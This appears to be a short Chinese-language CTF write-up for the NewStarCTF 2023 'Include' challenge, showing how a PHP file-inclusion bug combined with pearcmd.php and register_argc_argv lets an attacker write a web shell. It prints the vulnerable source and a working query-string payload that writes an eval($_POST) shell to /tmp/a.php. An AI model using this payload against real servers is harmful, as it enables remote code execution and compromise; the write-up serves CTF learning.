https://cloud.tencent.com/developer/article/2204400
关于PHP 配置 register_argc_argv 小结 的一些研究文章。
应用例题
[NewStarCTF 2023 公开赛道]Include 🍐
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
查看phpinfo.php 尝试搜索flag ,让查看
register_argc_argv
通过搜索,发现是关于pearcmd.php
的信息。
https://cloud.tencent.com/developer/article/2204400 关于PHP 配置 register_argc_argv 小结 的一些研究文章。
通过查看帮助,
php pearcmd.php
可以查看该文件的一些使用参数。可以通过config-create 创建一个木马文件,也可以通过从服务器上下载文件的方式利用。
# 创建文件,注意最好通过burp抓包,因为< > 会被url编码,导致木马失效
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[a])?>+/tmp/a.php
成功利用木马
下载文件。这里我就尝试从它自身下载phpinfo。
如图所示,从靶机下载phpinfo,并在响应中返回了保存路径
成功访问下载的phpinfo.php文件